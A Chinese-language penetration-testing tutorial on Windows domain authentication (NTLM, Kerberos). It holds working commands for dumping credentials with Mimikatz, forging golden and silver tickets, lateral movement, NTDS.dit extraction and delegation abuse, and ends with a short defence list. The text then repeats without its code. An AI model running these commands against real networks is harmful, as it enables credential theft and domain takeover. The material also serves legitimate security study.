从域认证协议以及密码凭据机制的角度来看内网渗透
字数 2442 2025-08-29 08:30:12

内网渗透:域认证协议与密码凭据机制深度解析

一、Windows密码抓取技术

1.1 主机登录验证机制

Windows系统使用两种哈希算法存储密码凭证:

  • LM Hash:较老的DES加密算法
    • 将密码转换为大写并补全至14字节
    • 分为两组7字节,每组转换为28bit后扩展为32bit
    • 使用魔术字符串"KGS!@#$%"作为DES密钥加密
  • NTLM Hash:更安全的MD4加密算法
    • 将密码转换为Unicode格式(每个字节后加0x00)
    • 进行MD4加密生成哈希值

密码凭证存储在:

  • SAM文件%SystemRoot%\system32\config\目录下
  • LSASS进程:处理用户认证,可能缓存明文密码

1.2 密码抓取技术

1.2.1 SAM文件抓取

  1. 导出SAM和SYSTEM文件:
    reg save hklm\sam sam.hive
    reg save hklm\system system.hive
    
  2. 使用工具读取:
    • Mimikatz:lsadump::sam /sam:sam.hive /system:system.hive
    • Pwdump7:获取所有账户NTLM哈希
    • Hashcat:破解NTLM哈希

1.2.2 LSASS进程抓取

  1. 在线读取:
    mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"
    mimikatz.exe "sekurlsa::logonPasswords"
    
  2. 离线读取:
    • 导出lsass.dmp文件
    • 使用Mimikatz解析:sekurlsa::minidump lsass.dmp

1.2.3 Windows 2012 R2之后的变化

默认不缓存明文密码,可通过修改注册表启用:

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

1.3 其他凭证抓取

  • RDP凭证:解密存储在%userprofile%\appdata\local\microsoft\credentials\下的凭证文件
  • 浏览器密码:使用BrowserGhost、Sharp-HackBrowserData等工具
  • 数据库密码:使用SharpDecryptPwd等工具

二、主机间认证协议

2.1 NTLM协议(挑战/响应机制)

  1. 客户端发送用户名到服务器
  2. 服务器生成16位随机Challenge,用用户NTLM Hash加密生成Challenge1
  3. 服务器发送Challenge给客户端
  4. 客户端用用户NTLM Hash加密Challenge生成Response返回
  5. 服务器比较Response和Challenge1

2.2 Kerberos协议(域认证)

2.2.1 核心组件

  • AS(认证服务器):发放TGT(票据授予票据)
  • TGS(票据授予服务器):发放ST(服务票据)
  • KDC(密钥分发中心):包含AS和TGS

2.2.2 认证流程

  1. AS-REQ/AS-REP(客户端与AS通信):

    • 客户端发送用户名、IP、时间戳
    • AS返回:
      • TGT(用TGS密钥加密,包含Session_key(CT_SK))
      • 客户端密钥加密的内容(包含CT_SK)
  2. TGS-REQ/TGS-REP(客户端与TGS通信):

    • 客户端发送:
      • 用CT_SK加密的客户端信息
      • 目标服务名(明文)
      • TGT
    • TGS返回:
      • ST(用服务密钥加密,包含CS_SK)
      • 用CT_SK加密的内容(包含CS_SK)
  3. AP-REQ/AP-REP(客户端与服务端通信):

    • 客户端发送:
      • 用CS_SK加密的客户端信息
      • ST
    • 服务端验证后建立连接

三、票据攻击技术

3.1 黄金票据(Golden Ticket)

原理:伪造TGT,需要krbtgt账户的NTLM Hash

制作条件

  1. 域名
  2. 域SID
  3. krbtgt账户的NTLM Hash
  4. 伪造的用户名

步骤

mimikatz "kerberos::golden /domain:域名 /sid:域SID /krbtgt:krbtgt的NTLM Hash /user:伪造用户名 /ticket:golden.kirbi"
kerberos::ptt golden.kirbi

3.2 白银票据(Silver Ticket)

原理:伪造ST,需要服务账户的NTLM Hash

制作条件

  1. 域名
  2. 域SID
  3. 目标服务器名
  4. 服务账号的NTLM Hash
  5. 伪造的用户名

步骤

mimikatz "kerberos::golden /domain:域名 /sid:域SID /target:目标服务器 /service:服务类型 /rc4:服务账号NTLM Hash /user:伪造用户名 /ticket:silver.kirbi"
kerberos::ptt silver.kirbi

3.3 高级票据技术

  • 钻石票据:修改真实TGT的PAC,需要krbtgt的AES256密钥
  • 蓝宝石票据:使用Kerberos委派获取高权限用户的PAC替换原始PAC

四、内网横向移动技术

4.1 凭证传递攻击

  1. Pass the Hash (PTH)

    mimikatz "sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM Hash"
    
  2. Pass the Key (PTK)

    mimikatz "sekurlsa::pth /user:用户名 /domain:域名 /aes256:AES密钥"
    
  3. Pass the Ticket (PTT)

    mimikatz "sekurlsa::tickets /export"
    mimikatz "kerberos::ptt 票据文件"
    

4.2 远程执行技术

  1. IPC$配合计划任务

    net use \\目标IP\ipc$ "密码" /user:用户名
    copy 恶意文件 \\目标IP\C$
    schtasks /create /s 目标IP /tn 任务名 /sc onstart /tr C:\恶意文件 /ru system /f
    schtasks /run /s 目标IP /tn 任务名
    
  2. WMI远程执行

    wmic /node:目标IP /user:用户名 /password:密码 process call create "cmd.exe /c 命令"
    
  3. DCOM远程执行

    $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","目标IP"))
    $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c 命令","Minimzed")
    
  4. WinRM远程执行

    winrs -r:http://目标IP:5985 -u:用户名 -p:密码 "命令"
    
  5. SMB远程执行

    smbexec 域名/用户名:密码@目标IP
    smbexec -hashes :NTLM Hash 域名/用户名@目标IP
    

五、域控安全与跨域攻击

5.1 NTDS.dit文件获取

  1. ntdsutil.exe方法

    ntdsutil snapshot "activate instance ntds" create quit quit
    ntdsutil snapshot "mount {GUID}" quit quit
    copy MOUNT_POINT\windows\NTDS\ntds.dit C:\ntds.dit
    ntdsutil snapshot "unmount {GUID}" quit quit
    ntdsutil snapshot "delete {GUID}" quit quit
    
  2. vssadmin方法

    vssadmin create shadow /for=C:
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit C:\ntds.dit
    vssadmin delete shadows /for=C: /quiet
    

5.2 跨域攻击技术

  1. 利用域信任关系

    • 查看信任关系:nltest /domain_trust
    • 获取信任密钥:mimikatz "lsadump::trust /patch"
  2. 构造跨域黄金票据

    mimikatz "kerberos::golden /domain:子域 /sid:子域SID /sids:父域SID-519 /rc4:信任密钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:跨域票据.kirbi"
    

六、域内委派攻击

6.1 非约束委派攻击

利用条件:服务账户配置了非约束委派

攻击步骤

  1. 查询非约束委派账户:

    AdFind.exe -b "DC=域,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
    
  2. 诱导域管访问(如利用打印机漏洞):

    SpoolSample.exe 域控 已控机器
    
  3. 导出并利用域管TGT

6.2 约束委派攻击

利用条件:服务账户配置了约束委派

攻击步骤

  1. 查询约束委派账户:

    AdFind.exe -b "DC=域,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))"
    
  2. 获取服务账户NTLM Hash

  3. 使用kekeo构造票据:

    kekeo "tgt::ask /user:服务账户 /domain:域 /password:密码"
    kekeo "tgs::s4u /tgt:TGT票据 /user:域管@域 /service:目标服务"
    

6.3 基于资源的约束委派

利用条件:拥有修改服务账户属性的权限

攻击步骤

  1. 设置服务账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性
  2. 使用S4U2Self和S4U2Proxy协议获取服务票据

七、防御建议

  1. 密码保护

    • 使用Protected Users安全组
    • 定期修改krbtgt账户密码
    • 启用LSA保护
  2. 委派控制

    • 限制非约束委派的使用
    • 审核约束委派配置
    • 实施基于资源的约束委派
  3. 监控与检测

    • 监控异常Kerberos票据请求
    • 检测异常的横向移动行为
    • 审计敏感账户的登录活动
  4. 补丁管理

    • 及时安装安全补丁(如MS14-068)
    • 禁用过时的协议(如LM认证)
  5. 权限管理

    • 遵循最小权限原则
    • 限制本地管理员账户的使用
    • 实施特权访问管理(PAM)
内网渗透:域认证协议与密码凭据机制深度解析 一、Windows密码抓取技术 1.1 主机登录验证机制 Windows系统使用两种哈希算法存储密码凭证: LM Hash :较老的DES加密算法 将密码转换为大写并补全至14字节 分为两组7字节,每组转换为28bit后扩展为32bit 使用魔术字符串"KGS !@#$%"作为DES密钥加密 NTLM Hash :更安全的MD4加密算法 将密码转换为Unicode格式(每个字节后加0x00) 进行MD4加密生成哈希值 密码凭证存储在: SAM文件 : %SystemRoot%\system32\config\ 目录下 LSASS进程 :处理用户认证,可能缓存明文密码 1.2 密码抓取技术 1.2.1 SAM文件抓取 导出SAM和SYSTEM文件: 使用工具读取: Mimikatz: lsadump::sam /sam:sam.hive /system:system.hive Pwdump7:获取所有账户NTLM哈希 Hashcat:破解NTLM哈希 1.2.2 LSASS进程抓取 在线读取: 离线读取: 导出lsass.dmp文件 使用Mimikatz解析: sekurlsa::minidump lsass.dmp 1.2.3 Windows 2012 R2之后的变化 默认不缓存明文密码,可通过修改注册表启用: 1.3 其他凭证抓取 RDP凭证 :解密存储在 %userprofile%\appdata\local\microsoft\credentials\ 下的凭证文件 浏览器密码 :使用BrowserGhost、Sharp-HackBrowserData等工具 数据库密码 :使用SharpDecryptPwd等工具 二、主机间认证协议 2.1 NTLM协议(挑战/响应机制) 客户端发送用户名到服务器 服务器生成16位随机Challenge,用用户NTLM Hash加密生成Challenge1 服务器发送Challenge给客户端 客户端用用户NTLM Hash加密Challenge生成Response返回 服务器比较Response和Challenge1 2.2 Kerberos协议(域认证) 2.2.1 核心组件 AS (认证服务器):发放TGT(票据授予票据) TGS (票据授予服务器):发放ST(服务票据) KDC (密钥分发中心):包含AS和TGS 2.2.2 认证流程 AS-REQ/AS-REP (客户端与AS通信): 客户端发送用户名、IP、时间戳 AS返回: TGT(用TGS密钥加密,包含Session_ key(CT_ SK)) 客户端密钥加密的内容(包含CT_ SK) TGS-REQ/TGS-REP (客户端与TGS通信): 客户端发送: 用CT_ SK加密的客户端信息 目标服务名(明文) TGT TGS返回: ST(用服务密钥加密,包含CS_ SK) 用CT_ SK加密的内容(包含CS_ SK) AP-REQ/AP-REP (客户端与服务端通信): 客户端发送: 用CS_ SK加密的客户端信息 ST 服务端验证后建立连接 三、票据攻击技术 3.1 黄金票据(Golden Ticket) 原理 :伪造TGT,需要krbtgt账户的NTLM Hash 制作条件 : 域名 域SID krbtgt账户的NTLM Hash 伪造的用户名 步骤 : 3.2 白银票据(Silver Ticket) 原理 :伪造ST,需要服务账户的NTLM Hash 制作条件 : 域名 域SID 目标服务器名 服务账号的NTLM Hash 伪造的用户名 步骤 : 3.3 高级票据技术 钻石票据 :修改真实TGT的PAC,需要krbtgt的AES256密钥 蓝宝石票据 :使用Kerberos委派获取高权限用户的PAC替换原始PAC 四、内网横向移动技术 4.1 凭证传递攻击 Pass the Hash (PTH) : Pass the Key (PTK) : Pass the Ticket (PTT) : 4.2 远程执行技术 IPC$配合计划任务 : WMI远程执行 : DCOM远程执行 : WinRM远程执行 : SMB远程执行 : 五、域控安全与跨域攻击 5.1 NTDS.dit文件获取 ntdsutil.exe方法 : vssadmin方法 : 5.2 跨域攻击技术 利用域信任关系 : 查看信任关系: nltest /domain_trust 获取信任密钥: mimikatz "lsadump::trust /patch" 构造跨域黄金票据 : 六、域内委派攻击 6.1 非约束委派攻击 利用条件 :服务账户配置了非约束委派 攻击步骤 : 查询非约束委派账户: 诱导域管访问(如利用打印机漏洞): 导出并利用域管TGT 6.2 约束委派攻击 利用条件 :服务账户配置了约束委派 攻击步骤 : 查询约束委派账户: 获取服务账户NTLM Hash 使用kekeo构造票据: 6.3 基于资源的约束委派 利用条件 :拥有修改服务账户属性的权限 攻击步骤 : 设置服务账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性 使用S4U2Self和S4U2Proxy协议获取服务票据 七、防御建议 密码保护 : 使用Protected Users安全组 定期修改krbtgt账户密码 启用LSA保护 委派控制 : 限制非约束委派的使用 审核约束委派配置 实施基于资源的约束委派 监控与检测 : 监控异常Kerberos票据请求 检测异常的横向移动行为 审计敏感账户的登录活动 补丁管理 : 及时安装安全补丁(如MS14-068) 禁用过时的协议(如LM认证) 权限管理 : 遵循最小权限原则 限制本地管理员账户的使用 实施特权访问管理(PAM)